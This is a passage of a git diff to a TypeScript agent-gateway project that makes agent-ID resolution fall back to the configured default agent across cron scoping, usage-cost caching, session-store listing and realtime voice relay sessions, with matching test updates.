+ ? normalizeAgentId(jobOwnerAgentId) + : resolveCronJobEffectiveAgentId(params.job, params.defaultAgentId); return jobAgentId === inputAgentId; } @@ -233,9 +228,7 @@ export function cronCreateMatchesCallerScope(params: { if (!params.callerScope) { return true; } - const effectiveAgentId = normalizeAgentId( - params.job.agentId ?? params.defaultAgentId ?? DEFAULT_AGENT_ID, - ); + const effectiveAgentId = resolveCronJobEffectiveAgentId(params.job, params.defaultAgentId); if (effectiveAgentId !== params.callerScope.agentId) { return false; } @@ -258,7 +251,7 @@ export function applyCronCreateCallerScopeDefault( } return { ...job, - agentId: job.agentId ?? callerScope.agentId, + agentId: job.agentId?.trim() ? job.agentId : callerScope.agentId, owner: { agentId: callerScope.agentId, ...(callerScope.sessionKey ? { sessionKey: callerScope.sessionKey } : {}), diff --git a/src/gateway/server-methods/doctor.test.ts b/src/gateway/server-methods/doctor.test.ts index 3d76473792dd..35842ccb282f 100644 --- a/src/gateway/server-methods/doctor.test.ts +++ b/src/gateway/server-methods/doctor.test.ts @@ -33,6 +33,16 @@ vi.mock("../../config/config.js", () => ({ })); vi.mock("../../agents/agent-scope.js", () => ({ + listAgentEntries: (cfg: OpenClawConfig) => + cfg.agents?.entries + ? Object.entries(cfg.agents.entries).map(([id, entry]) => { + const copy = structuredClone(entry) as Record; + copy.id = id; + return copy; + }) + : cfg.agents?.list + ? cfg.agents.list + : [{ id: "main", default: true }], resolveDefaultAgentId, resolveAgentWorkspaceDir, })); diff --git a/src/gateway/server-methods/talk-client.ts b/src/gateway/server-methods/talk-client.ts index ffefd84a3dc9..0f94a4e671b8 100644 --- a/src/gateway/server-methods/talk-client.ts +++ b/src/gateway/server-methods/talk-client.ts @@ -14,6 +14,7 @@ import { validateTalkClientToolCallParams, validateTalkClientTranscriptParams, } from "../../../packages/gateway-protocol/src/index.js"; +import { resolveDefaultAgentId } from "../../agents/agent-scope.js"; import { buildAgentMainSessionKey, resolveAgentIdFromSessionKey, @@ -73,6 +74,13 @@ function pruneLegacyVoiceBindings(now = Date.now()): void { } } +function resolveTalkClientAgentId( + config: Parameters[0], + key: string, +) { + return resolveAgentIdFromSessionKey(key, resolveDefaultAgentId(config)); +} + /** * Gateway methods for browser-owned realtime Talk sessions. * @@ -299,7 +307,8 @@ export const talkClientHandlers: GatewayRequestHandlers = { return; } - const agentId = resolveAgentIdFromSessionKey(params.sessionKey); + const config = request.context.getRuntimeConfig(); + const agentId = resolveTalkClientAgentId(config, params.sessionKey); const relaySessionId = normalizeOptionalString(params.relaySessionId); const connId = normalizeOptionalString(request.client?.connId); pruneLegacyVoiceBindings(); @@ -424,15 +433,16 @@ export const talkClientHandlers: GatewayRequestHandlers = { return; } try { + const config = context.getRuntimeConfig(); await appendClientVoiceTranscript({ - agentId: resolveAgentIdFromSessionKey(params.sessionKey), + agentId: resolveTalkClientAgentId(config, params.sessionKey), sessionKey: params.sessionKey, voiceSessionId: params.voiceSessionId, entryId: params.entryId, role: params.role, text: params.text, ...(params.timestamp !== undefined ? { timestamp: params.timestamp } : {}), - config: context.getRuntimeConfig(), + config, }); respond(true, { ok: true }, undefined); } catch (err) { @@ -452,7 +462,8 @@ export const talkClientHandlers: GatewayRequestHandlers = { return; } try { - const agentId = resolveAgentIdFromSessionKey(params.sessionKey); + const config = context.getRuntimeConfig(); + const agentId = resolveTalkClientAgentId(config, params.sessionKey); const origin = resolveClientVoiceSessionOrigin({ agentId, sessionKey: params.sessionKey, @@ -465,7 +476,7 @@ export const talkClientHandlers: GatewayRequestHandlers = { agentId, sessionKey: params.sessionKey, voiceSessionId: params.voiceSessionId, - config: context.getRuntimeConfig(), + config, }); const connId = normalizeOptionalString(client?.connId); if (connId) { diff --git a/src/gateway/server-methods/talk-shared.ts b/src/gateway/server-methods/talk-shared.ts index 8dce1c76f8cf..6c8750adfbce 100644 --- a/src/gateway/server-methods/talk-shared.ts +++ b/src/gateway/server-methods/talk-shared.ts @@ -72,11 +72,12 @@ export async function resolveTalkRealtimeProviderInstructions(params: { warn: (message: string) => void; }): Promise<{ agentId: string; instructions: string; requestedSessionKey?: string }> { const requestedSessionKey = normalizeOptionalString(params.sessionKey); + const defaultAgentId = resolveDefaultAgentId(params.config); // Older clients can prefetch without a key. Client-owned creates bind to the // default agent immediately, so its workspace profile stays consistent there. const agentId = requestedSessionKey - ? resolveAgentIdFromSessionKey(requestedSessionKey) - : resolveDefaultAgentId(params.config); + ? resolveAgentIdFromSessionKey(requestedSessionKey, defaultAgentId) + : defaultAgentId; const bootstrapContext = params.requireSessionKeyForProfile && !requestedSessionKey ? undefined diff --git a/src/gateway/server-methods/usage.cost-usage-cache.test.ts b/src/gateway/server-methods/usage.cost-usage-cache.test.ts index d74287fc87b6..0b0523689c6c 100644 --- a/src/gateway/server-methods/usage.cost-usage-cache.test.ts +++ b/src/gateway/server-methods/usage.cost-usage-cache.test.ts @@ -65,7 +65,9 @@ describe("costUsageCache bounded growth", () => { }); it("does not grow without bound when (startMs, endMs) varies across day rollover and range switches", async () => { - const config = {} as OpenClawConfig; + const config = { + agents: { entries: { main: { default: true } } }, + } as OpenClawConfig; // 600 distinct (startMs, endMs) pairs — larger than the 256 caps used by // the smallest sibling caches (RUN_LOOKUP_CACHE_LIMIT, @@ -86,19 +88,21 @@ describe("costUsageCache bounded growth", () => { // oldest-first, never the newest. const lastStartMs = Date.UTC(2026, 0, 1) + (ITERATIONS - 1) * DAY_MS; const lastEndMs = lastStartMs + ((ITERATIONS - 1) % 3 === 0 ? DAY_MS : 7 * DAY_MS) - 1; - const lastCacheKey = `agent:__default__:${lastStartMs}-${lastEndMs}:gateway`; + const lastCacheKey = `agent:main:${lastStartMs}-${lastEndMs}:gateway`; expect(testApi.costUsageCache.has(lastCacheKey)).toBe(true); // Tertiary: the oldest entry must have been evicted once the cap was // exceeded. Pre-fix all 600 entries remain and this fails too. const firstStartMs = Date.UTC(2026, 0, 1); const firstEndMs = firstStartMs + DAY_MS - 1; - const firstCacheKey = `agent:__default__:${firstStartMs}-${firstEndMs}:gateway`; + const firstCacheKey = `agent:main:${firstStartMs}-${firstEndMs}:gateway`; expect(testApi.costUsageCache.has(firstCacheKey)).toBe(false); }); it("evicts settled entries before in-flight entries when possible", async () => { - const config = {} as OpenClawConfig; + const config = { + agents: { entries: { main: { default: true } } }, + } as OpenClawConfig; const pending = new Promise>(() => {}); mocks.loadCostUsageSummaryFromCache.mockReturnValueOnce(pending); @@ -125,7 +129,7 @@ describe("costUsageCache bounded growth", () => { }); await Promise.resolve(); - expect(testApi.costUsageCache.has("agent:__default__:1-2:gateway")).toBe(true); + expect(testApi.costUsageCache.has("agent:main:1-2:gateway")).toBe(true); expect(mocks.loadCostUsageSummaryFromCache).toHaveBeenCalledTimes(257); void inFlight.catch(() => {}); void repeated.catch(() => {}); diff --git a/src/gateway/server-methods/usage.test.ts b/src/gateway/server-methods/usage.test.ts index 2c9df2be9c0e..093ca8e2fbca 100644 --- a/src/gateway/server-methods/usage.test.ts +++ b/src/gateway/server-methods/usage.test.ts @@ -473,11 +473,14 @@ describe("gateway usage helpers", () => { }, }); - const config = {} as OpenClawConfig; + const config = { + agents: { entries: { ops: { default: true } } }, + } as OpenClawConfig; await testApi.loadCostUsageSummaryCached({ startMs: 1, endMs: 2, config }); - const entry = testApi.costUsageCache.get("agent:__default__:1-2:gateway"); + const entry = testApi.costUsageCache.get("agent:ops:1-2:gateway"); expect(entry?.updatedAt).toBe(Date.now()); + expect(vi.mocked(loadCostUsageSummaryFromCache).mock.calls[0]?.[0]?.agentId).toBe("ops"); await vi.advanceTimersByTimeAsync(29_999); await testApi.loadCostUsageSummaryCached({ startMs: 1, endMs: 2, config }); @@ -715,7 +718,7 @@ describe("gateway usage helpers", () => { } as unknown as Parameters<(typeof usageHandlers)["usage.cost"]>[0]); expect(vi.mocked(loadCostUsageSummaryFromCache)).toHaveBeenCalledTimes(1); - expect(vi.mocked(loadCostUsageSummaryFromCache).mock.calls[0]?.[0]?.agentId).toBeUndefined(); + expect(vi.mocked(loadCostUsageSummaryFromCache).mock.calls[0]?.[0]?.agentId).toBe("main"); expect(defaultRespond.mock.calls[0]?.[1]).toMatchObject({ totals: { totalTokens: 10, totalCost: 1 }, }); @@ -753,8 +756,7 @@ describe("gateway usage helpers", () => { context, } as unknown as Parameters<(typeof usageHandlers)["usage.cost"]>[0]); - expect(vi.mocked(loadCostUsageSummaryFromCache)).toHaveBeenCalledTimes(4); - expect(vi.mocked(loadCostUsageSummaryFromCache).mock.calls[3]?.[0]?.agentId).toBe("main"); + expect(vi.mocked(loadCostUsageSummaryFromCache)).toHaveBeenCalledTimes(3); expect(mainRespond.mock.calls[0]?.[1]).toMatchObject({ totals: { totalTokens: 10, totalCost: 1 }, }); diff --git a/src/gateway/server-methods/usage.ts b/src/gateway/server-methods/usage.ts index d3ead271276f..a49572a912b0 100644 --- a/src/gateway/server-methods/usage.ts +++ b/src/gateway/server-methods/usage.ts @@ -9,7 +9,7 @@ import { formatValidationErrors, validateSessionsUsageParams, } from "../../../packages/gateway-protocol/src/index.js"; -import { resolveDefaultAgentId } from "../../agents/agent-scope.js"; +import { listAgentIds, resolveDefaultAgentId } from "../../agents/agent-scope.js"; import { resolveSessionFilePath, resolveSessionFilePathOptions, @@ -144,7 +144,7 @@ function resolveSessionUsageFileOrRespond( ): { config: OpenClawConfig; entry: SessionEntry | undefined; - agentId: string | undefined; + agentId: string; sessionId: string; sessionFile: string; } | null { @@ -152,7 +152,7 @@ function resolveSessionUsageFileOrRespond( // For discovered sessions (not in store), try using key as sessionId directly const parsed = parseAgentSessionKey(key); - const agentId = parsed?.agentId; + const agentId = parsed?.agentId ?? resolveDefaultAgentId(config); const rawSessionId = parsed?.rest ?? key; const sessionId = entry?.sessionId ?? rawSessionId; let sessionFile: string; @@ -901,12 +901,16 @@ async function loadCostUsageSummaryCached(params: { agentId?: string; agentScope?: "all"; }): Promise { + const allAgents = params.agentScope === "all"; + const agentId = allAgents + ? undefined + : normalizeAgentId(params.agentId ?? resolveDefaultAgentId(params.config)); const dayBucketKey = params.dayBucket ? params.dayBucket.mode === "time-zone" ? `time-zone:${params.dayBucket.timeZone}` : `utc-offset:${params.dayBucket.utcOffsetMinutes}` : "gateway"; - const cacheKey = `${params.agentScope === "all" ? "all" : `agent:${params.agentId ?? "__default__"}`}:${params.startMs}-${params.endMs}:${dayBucketKey}`; + const cacheKey = `${allAgents ? "all" : `agent:${agentId}`}:${params.startMs}-${params.endMs}:${dayBucketKey}`; const now = Date.now(); const cached = costUsageCache.get(cacheKey); if (cached?.summary && cached.updatedAt && now - cached.updatedAt < COST_USAGE_CACHE_TTL_MS) { @@ -922,7 +926,7 @@ async function loadCostUsageSummaryCached(params: { const entry: CostUsageCacheEntry = cached ?? {}; const inFlight = ( - params.agentScope === "all" + allAgents ? loadAllAgentCostUsageSummary({ startMs: params.startMs, endMs: params.endMs, @@ -934,7 +938,7 @@ async function loadCostUsageSummaryCached(params: { endMs: params.endMs, dayBucket: params.dayBucket, config: params.config, - agentId: params.agentId, + agentId: expectDefined(agentId, "non-aggregate usage agent id"), requestRefresh: true, refreshMode: "background", }) @@ -978,9 +982,7 @@ async function loadAllAgentCostUsageSummary(params: { dayBucket?: UsageDailyBucket; config: OpenClawConfig; }): Promise { - const agentIds = listGatewayAgentsBasic(params.config).agents.map((agent) => - normalizeAgentId(agent.id), - ); + const agentIds = listAgentIds(params.config).map((agentId) => normalizeAgentId(agentId)); const summaries = await runUsageAgentTasks( agentIds.map( (agentId) => () => @@ -1392,7 +1394,7 @@ export const usageHandlers: GatewayRequestHandlers = { // individually re-reads and re-parses the whole cache file, so RSS spikes // in proportion to `limit` on every dashboard connect (issue #100041). const sessionsByAgent = new Map< - string | undefined, + string, Array<{ entryIndex: number; sessionId: string; sessionFile: string }> >(); for (const [entryIndex, merged] of mergedEntries.entries()) { diff --git a/src/gateway/server-startup-secret-owner-isolation.test.ts b/src/gateway/server-startup-secret-owner-isolation.test.ts index f82448ceb9d8..82dcd22ce530 100644 --- a/src/gateway/server-startup-secret-owner-isolation.test.ts +++ b/src/gateway/server-startup-secret-owner-isolation.test.ts @@ -362,6 +362,7 @@ describe("Gateway startup SecretRef owner isolation", () => { agents: { defaults: {}, + entries: { main: { default: true } }, }, }); diff --git a/src/gateway/server/hooks.agent-trust.test.ts b/src/gateway/server/hooks.agent-trust.test.ts index a49164ce00ef..bf85c229bb1b 100644 --- a/src/gateway/server/hooks.agent-trust.test.ts +++ b/src/gateway/server/hooks.agent-trust.test.ts @@ -2,6 +2,7 @@ * Hook endpoint trust tests for agent dispatch and gateway network config. */ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { getActiveGatewayRootWorkCount, isGatewaySubordinateWorkAdmissionClosed, @@ -13,7 +14,10 @@ const enqueueSystemEventMock = vi.fn(); const requestHeartbeatMock = vi.fn(); const runCronIsolatedAgentTurnMock = vi.fn(); const resolveMainSessionKeyMock = vi.fn(() => "main-session"); -const loadConfigMock = vi.fn(() => ({})); +const mainRosterConfig = (): OpenClawConfig => ({ + agents: { entries: { main: { default: true } } }, +}); +const loadConfigMock = vi.fn(mainRosterConfig); const logHooksInfoMock = vi.fn(); const logHooksWarnMock = vi.fn(); @@ -151,7 +155,7 @@ describe("dispatchAgentHook trust handling", () => { beforeEach(() => { resetGatewayWorkAdmission(); vi.clearAllMocks(); - loadConfigMock.mockImplementation(() => ({})); + loadConfigMock.mockImplementation(mainRosterConfig); capturedDispatchAgentHook = undefined; createGatewayHooksRequestHandler(buildMinimalParams()); }); @@ -271,7 +275,7 @@ describe("dispatchAgentHook trust handling", () => { it("uses fresh config when a queued hook starts after reload", async () => { const dispatch = resolveDispatchAgentHook(); - let currentConfig: { session?: { mainKey?: string } } = {}; + let currentConfig = mainRosterConfig(); loadConfigMock.mockImplementation(() => currentConfig); const firstGate = createDeferred(); runCronIsolatedAgentTurnMock.mockImplementationOnce(async () => { @@ -288,7 +292,7 @@ describe("dispatchAgentHook trust handling", () => { dispatch({ ...buildAgentPayload("Second"), message: "second", sessionKey: "main" }); await waitForFast(() => expect(runCronIsolatedAgentTurnMock).toHaveBeenCalledTimes(1)); - currentConfig = { session: { mainKey: "reloaded" } }; + currentConfig = { ...mainRosterConfig(), session: { mainKey: "reloaded" } }; firstGate.resolve(); await waitForFast(() => expect(runCronIsolatedAgentTurnMock).toHaveBeenCalledTimes(2)); diff --git a/src/gateway/session-utils-store-lookup.ts b/src/gateway/session-utils-store-lookup.ts index b1fd37ff2f72..de42916c7967 100644 --- a/src/gateway/session-utils-store-lookup.ts +++ b/src/gateway/session-utils-store-lookup.ts @@ -316,7 +316,6 @@ export function resolveGatewaySessionStoreTargetWithStore(params: { readOnly: params.readOnly, initialStore: params.store, }); - if (canonicalKey === "global" || canonicalKey === "unknown") { const storeKeys = key && key !== canonicalKey ? [canonicalKey, key] : [key]; return { agentId, storePath, canonicalKey, storeKeys, store }; diff --git a/src/gateway/session-utils-store.ts b/src/gateway/session-utils-store.ts index e810347cc9be..ae59032f5194 100644 --- a/src/gateway/session-utils-store.ts +++ b/src/gateway/session-utils-store.ts @@ -9,6 +9,7 @@ import { } from "../acp/runtime/session-meta.js"; import { resolveModelAgentRuntimeMetadata } from "../agents/agent-runtime-metadata.js"; import { + listAgentEntries, listAgentIds, resolveAgentEffectiveModelPrimary, resolveAgentModelFallbacksOverride, @@ -345,7 +346,7 @@ export function listAgentsForGateway( } { const basic = listGatewayAgentsBasic(cfg); const configuredById = new Map(); - for (const entry of cfg.agents?.list ?? []) { + for (const entry of listAgentEntries(cfg)) { if (!entry?.id) { continue; } diff --git a/src/gateway/session-utils.subagent.test.ts b/src/gateway/session-utils.subagent.test.ts index 40ff935c9aee..a88a6e77b533 100644 --- a/src/gateway/session-utils.subagent.test.ts +++ b/src/gateway/session-utils.subagent.test.ts @@ -16,6 +16,10 @@ import type { OpenClawConfig } from "../config/config.js"; import type { SessionEntry } from "../config/sessions.js"; import { replaceSessionEntry } from "../config/sessions/session-accessor.js"; import { registerAgentRunContext, resetAgentEventsForTest } from "../infra/agent-events.js"; +import { + closeOpenClawAgentDatabasesForTest, + resolveIncognitoOpenClawAgentSqlitePath, +} from "../state/openclaw-agent-db.js"; import { closeOpenClawStateDatabaseForTest } from "../state/openclaw-state-db.js"; import { withStateDirEnv } from "../test-helpers/state-dir-env.js"; import { withEnv } from "../test-utils/env.js"; @@ -25,12 +29,17 @@ import { resolveGatewayModelSupportsImages, } from "./session-utils.js"; +afterEach(() => { + closeOpenClawAgentDatabasesForTest(); +}); + async function seedSessionEntry( storePath: string, sessionKey: string, entry: SessionEntry, + agentId?: string, ): Promise { - await replaceSessionEntry({ sessionKey, storePath }, entry); + await replaceSessionEntry({ ...(agentId ? { agentId } : {}), sessionKey, storePath }, entry); } describe("listSessionsFromStore subagent metadata", () => { @@ -1301,6 +1310,143 @@ describe("listSessionsFromStore subagent metadata", () => { }); describe("loadCombinedSessionStoreForGateway includes disk-only agents (#32804)", () => { + test("fixed stores retain a colliding unsuffixed database on the default owner", async () => { + await withStateDirEnv("openclaw-fixed-store-collision-", async ({ stateDir }) => { + const storePath = path.join(stateDir, "ops.json"); + const cfg = { + session: { mainKey: "main", store: storePath }, + agents: { + entries: { + main: { default: true }, + ops: {}, + }, + }, + } as OpenClawConfig; + + await seedSessionEntry( + storePath, + "main", + { sessionId: "s-main-unscoped", updatedAt: 100 }, + "main", + ); + + const { diagnostics, store } = loadCombinedSessionStoreForGateway(cfg); + expect(store["agent:main:main"]?.sessionId).toBe("s-main-unscoped"); + expect(store["agent:ops:main"]).toBeUndefined(); + expect(diagnostics).toContainEqual( + expect.stringContaining( + 'owner "main" selected by database-registry; suffixed owner(s): "ops"', + ), + ); + }); + }); + + test("fixed stores preserve a registered suffix while the default keeps the unsuffixed target", async () => { + await withStateDirEnv("openclaw-fixed-store-registered-", async ({ stateDir }) => { + const storePath = path.join(stateDir, "ops.json"); + const cfg = { + session: { mainKey: "main", store: storePath }, + agents: { + entries: { + main: { default: true }, + ops: {}, + }, + }, + } as OpenClawConfig; + + await seedSessionEntry( + storePath, + "main", + { sessionId: "s-ops-registered", updatedAt: 100 }, + "ops", + ); + + const { diagnostics, store } = loadCombinedSessionStoreForGateway(cfg); + expect(store["agent:ops:main"]?.sessionId).toBe("s-ops-registered"); + expect(store["agent:main:main"]).toBeUndefined(); + expect(diagnostics).toContainEqual( + expect.stringContaining( + 'owner "main" selected by configured-default; suffixed owner(s): "ops"', + ), + ); + }); + }); + + test("fixed stores merge every configured agent's partition", async () => { + await withStateDirEnv("openclaw-fixed-store-", async ({ stateDir }) => { + const storePath = path.join(stateDir, "shared-sessions.json"); + const cfg = { + session: { mainKey: "main", store: storePath }, + agents: { + entries: { + ops: { default: true }, + worker: {}, + }, + }, + } as OpenClawConfig; + + await seedSessionEntry( + storePath, + "agent:ops:main", + { sessionId: "s-ops", updatedAt: 100 }, + "ops", + ); + await seedSessionEntry( + storePath, + "agent:worker:main", + { sessionId: "s-worker", updatedAt: 200 }, + "worker", + ); + await seedSessionEntry( + storePath, + "agent:dynamic:main", + { sessionId: "s-dynamic", updatedAt: 300 }, + "dynamic", + ); + await seedSessionEntry( + storePath, + "agent:ops:legacy", + { sessionId: "s-legacy-ops", spawnedBy: "main", updatedAt: 400 }, + "main", + ); + const dynamicIncognitoKey = "dashboard:incognito-dynamic"; + await seedSessionEntry( + resolveIncognitoOpenClawAgentSqlitePath({ agentId: "dynamic" }), + dynamicIncognitoKey, + { incognito: true, sessionId: "s-incognito-dynamic", updatedAt: 500 }, + "dynamic", + ); + + const { store } = loadCombinedSessionStoreForGateway(cfg); + expect(store["agent:ops:main"]?.sessionId).toBe("s-ops"); + expect(store["agent:worker:main"]?.sessionId).toBe("s-worker"); + expect(store["agent:dynamic:main"]?.sessionId).toBe("s-dynamic"); + + const configuredOnly = loadCombinedSessionStoreForGateway(cfg, { + configuredAgentsOnly: true, + }).store; + expect(configuredOnly["agent:ops:legacy"]?.sessionId).toBe("s-legacy-ops"); + expect(configuredOnly["agent:ops:legacy"]?.spawnedBy).toBe("agent:ops:main"); + expect(configuredOnly["agent:dynamic:main"]).toBeUndefined(); + expect(configuredOnly[dynamicIncognitoKey]).toBeUndefined(); + + const opsOnly = loadCombinedSessionStoreForGateway(cfg, { agentId: "ops" }).store; + expect(opsOnly["agent:ops:main"]?.sessionId).toBe("s-ops"); + expect(opsOnly["agent:ops:legacy"]?.sessionId).toBe("s-legacy-ops"); + expect(opsOnly["agent:worker:main"]).toBeUndefined(); + expect(opsOnly["agent:dynamic:main"]).toBeUndefined(); + + const explicitDynamic = loadCombinedSessionStoreForGateway(cfg, { + agentId: "dynamic", + configuredAgentsOnly: true, + }).store; + expect(explicitDynamic["agent:dynamic:main"]?.sessionId).toBe("s-dynamic"); + + const mainOnly = loadCombinedSessionStoreForGateway(cfg, { agentId: "main" }).store; + expect(mainOnly["agent:ops:legacy"]).toBeUndefined(); + }); + }); + test("ACP agent sessions are visible even when agents.list is configured", async () => { await withStateDirEnv("openclaw-acp-vis-", async ({ stateDir }) => { const customRoot = path.join(stateDir, "custom-state"); @@ -1370,6 +1516,9 @@ describe("loadCombinedSessionStoreForGateway includes disk-only agents (#32804)" expect(path.resolve(storePath)).toBe(path.resolve(codexStorePath)); expect(store["agent:codex:acp-task"]?.sessionId).toBe("s-codex"); expect(store["agent:main:main"]).toBeUndefined(); + + const mainOnly = loadCombinedSessionStoreForGateway(cfg, { agentId: "main" }).store; + expect(mainOnly["agent:main:main"]?.sessionId).toBe("s-main"); }); }); }); diff --git a/src/gateway/talk-realtime-relay.test.ts b/src/gateway/talk-realtime-relay.test.ts index bc9dd181e13d..a38af43bad66 100644 --- a/src/gateway/talk-realtime-relay.test.ts +++ b/src/gateway/talk-realtime-relay.test.ts @@ -11,6 +11,7 @@ import { readSessionTranscriptMessageEvents, replaceSessionEntry, } from "../config/sessions/session-accessor.js"; +import type { OpenClawConfig } from "../config/types.js"; import type { RealtimeVoiceProviderPlugin } from "../plugins/types.js"; import { closeOpenClawAgentDatabasesForTest } from "../state/openclaw-agent-db.js"; import { closeOpenClawStateDatabaseForTest } from "../state/openclaw-state-db.js"; @@ -25,6 +26,7 @@ import { acknowledgeTalkRealtimeRelayMark, cancelTalkRealtimeRelayTurn, createTalkRealtimeRelaySession as createTalkRealtimeRelaySessionRaw, + ensureTalkRealtimeRelayVoiceSession, flushTalkRealtimeRelayVoiceWrites, registerTalkRealtimeRelayAgentRun, sendTalkRealtimeRelayAudio, @@ -38,7 +40,10 @@ const activeRelaySessions = new Map(); function createTalkRealtimeRelaySession( params: Parameters[0], ): ReturnType { - const session = createTalkRealtimeRelaySessionRaw(params); + const session = createTalkRealtimeRelaySessionRaw({ + cfg: { agents: { entries: { main: { default: true } } } }, + ...params, + }); activeRelaySessions.set(session.relaySessionId, params.connId); return session; } @@ -192,10 +197,16 @@ describe("talk realtime gateway relay", () => { sessionKey: "agent:main:main", runId: "run-before-transcript", }); + registerTalkRealtimeRelayAgentRun({ + relaySessionId: session.relaySessionId, + connId: "conn-consult", + sessionKey: "agent:main:other", + runId: "run-other-session", + }); expect(clientVoiceSessionTesting.readRecord("main", session.relaySessionId)).toMatchObject({ status: "open", - consultRunIds: ["run-before-transcript"], + consultRunIds: ["run-before-transcript", "run-other-session"], }); stopTalkRealtimeRelaySession({ relaySessionId: session.relaySessionId, @@ -215,6 +226,101 @@ describe("talk realtime gateway relay", () => { } }); + it("pins an unscoped relay owner before the configured default changes", async () => { + const envSnapshot = captureEnv(["OPENCLAW_STATE_DIR"]); + const tempDir = await fs.realpath( + await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-relay-owner-pin-")), + ); + setTestEnvValue("OPENCLAW_STATE_DIR", tempDir); + let runtimeConfig: OpenClawConfig = { + agents: { entries: { main: { default: true }, ops: {} } }, + }; + try { + const session = createTalkRealtimeRelaySessionRaw({ + context: { + broadcastToConnIds: vi.fn(), + chatAbortControllers: new Map(), + getRuntimeConfig: () => runtimeConfig, + logGateway: { warn: vi.fn() }, + } as never, + connId: "conn-owner-pin", + provider: createIdleRelayProvider(), + providerConfig: {}, + instructions: "brief", + tools: [], + sessionKey: "main", + }); + activeRelaySessions.set(session.relaySessionId, "conn-owner-pin"); + runtimeConfig = { + agents: { entries: { main: {}, ops: { default: true } } }, + }; + + ensureTalkRealtimeRelayVoiceSession({ + relaySessionId: session.relaySessionId, + connId: "conn-owner-pin", + sessionKey: "main", + }); + stopTalkRealtimeRelaySession({ + relaySessionId: session.relaySessionId, + connId: "conn-owner-pin", + }); + await vi.waitFor(() => + expect(clientVoiceSessionTesting.readRecord("main", session.relaySessionId)?.status).toBe( + "closed", + ), + ); + expect(clientVoiceSessionTesting.readRecord("ops", session.relaySessionId)).toBeUndefined(); + } finally { + closeOpenClawAgentDatabasesForTest(); + closeOpenClawStateDatabaseForTest(); + envSnapshot.restore(); + await fs.rm(tempDir, { recursive: true, force: true }); + } + }); + + it("pins a scoped relay owner from the trimmed session key", async () => { + const envSnapshot = captureEnv(["OPENCLAW_STATE_DIR"]); + const tempDir = await fs.realpath( + await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-relay-trimmed-owner-")), + ); + setTestEnvValue("OPENCLAW_STATE_DIR", tempDir); + try { + const session = createTalkRealtimeRelaySessionRaw({ + context: { + broadcastToConnIds: vi.fn(), + chatAbortControllers: new Map(), + getRuntimeConfig: () => ({ + agents: { entries: { main: {}, ops: { default: true } } }, + }), + logGateway: { warn: vi.fn() }, + } as never, + connId: "conn-trimmed-owner", + provider: createIdleRelayProvider(), + providerConfig: {}, + instructions: "brief", + tools: [], + sessionKey: " agent:main:main ", + }); + activeRelaySessions.set(session.relaySessionId, "conn-trimmed-owner"); + + ensureTalkRealtimeRelayVoiceSession({ + relaySessionId: session.relaySessionId, + connId: "conn-trimmed-owner", + sessionKey: "agent:main:main", + }); + + expect(clientVoiceSessionTesting.readRecord("main", session.relaySessionId)).toMatchObject({ + status: "open", + }); + expect(clientVoiceSessionTesting.readRecord("ops", session.relaySessionId)).toBeUndefined(); + } finally { + closeOpenClawAgentDatabasesForTest(); + closeOpenClawStateDatabaseForTest(); + envSnapshot.restore(); + await fs.rm(tempDir, { recursive: true, force: true }); + } + }); + it("logs relay transcript append failures", async () => { const envSnapshot = captureEnv(["OPENCLAW_STATE_DIR"]); const tempDir = await fs.realpath( diff --git a/src/gateway/talk-realtime-relay.ts b/src/gateway/talk-realtime-relay.ts index 2add83376eaa..5fcb882ee6be 100644 --- a/src/gateway/talk-realtime-relay.ts +++ b/src/gateway/talk-realtime-relay.ts @@ -2,6 +2,7 @@ // Bridges browser Talk audio sessions with realtime voice provider plugins. import { randomUUID } from "node:crypto"; import { resolveExpiresAtMsFromDurationMs } from "@openclaw/normalization-core/number-coercion"; +import { resolveDefaultAgentId } from "../agents/agent-scope-config.js"; import type { OpenClawConfig } from "../config/types.js"; import { formatErrorMessage } from "../infra/errors.js"; import type { RealtimeVoiceProviderPlugin } from "../plugins/types.js"; @@ -125,6 +126,7 @@ type RelaySession = { bridge: RealtimeVoiceBridgeSession; harness: RealtimeVoiceSessionHarness; sessionKey?: string; + agentId?: string; expiresAtMs: number; cleanupTimer: ReturnType; activeAgentRuns: Map; @@ -186,6 +188,33 @@ function logRelayVoiceFailure(session: RelaySession, message: string, error: unk session.context.logGateway?.warn(`${message}: ${formatErrorMessage(error)}`); } +function resolveRelayAgentIdFromCurrentConfig(session: RelaySession, sessionKey: string): string { + const config = session.voiceConfig ?? session.context.getRuntimeConfig(); + return resolveAgentIdFromSessionKey(sessionKey, resolveDefaultAgentId(config)); +} + +function bindRelaySessionKey(session: RelaySession, sessionKey: string): void { + const normalizedSessionKey = sessionKey.trim(); + if (!normalizedSessionKey) { + throw new Error("Realtime relay session key must be non-empty"); + } + if (session.sessionKey && session.sessionKey !== normalizedSessionKey) { + throw new Error("Realtime relay session belongs to another agent session"); + } + if (!session.sessionKey) { + session.sessionKey = normalizedSessionKey; + session.agentId = resolveRelayAgentIdFromCurrentConfig(session, normalizedSessionKey); + } +} + +function resolveRelayAgentId(session: RelaySession, sessionKey: string): string { + bindRelaySessionKey(session, sessionKey); + if (!session.agentId) { + throw new Error("Realtime relay session has no pinned agent owner"); + } + return session.agentId; +} + function ensureRelayVoiceSession(session: RelaySession): boolean { if (session.voiceSessionCreated) { return true; @@ -195,7 +224,7 @@ function ensureRelayVoiceSession(session: RelaySession): boolean { } try { createOrResumeClientVoiceSession({ - agentId: resolveAgentIdFromSessionKey(session.sessionKey), + agentId: resolveRelayAgentId(session, session.sessionKey), sessionKey: session.sessionKey, provider: session.provider, origin: "relay", @@ -243,7 +272,7 @@ function enqueueRelayVoiceTranscript( } try { await appendRelayVoiceTranscript({ - agentId: resolveAgentIdFromSessionKey(sessionKey), + agentId: resolveRelayAgentId(session, sessionKey), sessionKey, voiceSessionId: session.id, entryId, @@ -272,7 +301,7 @@ function closeRelayVoiceSession(session: RelaySession): void { .then(async () => { const config = session.voiceConfig ?? session.context.getRuntimeConfig(); await closeClientVoiceSession({ - agentId: resolveAgentIdFromSessionKey(sessionKey), + agentId: resolveRelayAgentId(session, sessionKey), sessionKey, voiceSessionId: session.id, config, @@ -290,10 +319,7 @@ export function ensureTalkRealtimeRelayVoiceSession(params: { sessionKey: string; }): void { const session = getRelaySession(params.relaySessionId, params.connId); - if (session.sessionKey && session.sessionKey !== params.sessionKey) { - throw new Error("Realtime relay session belongs to another agent session"); - } - session.sessionKey = params.sessionKey; + bindRelaySessionKey(session, params.sessionKey); if (!ensureRelayVoiceSession(session)) { 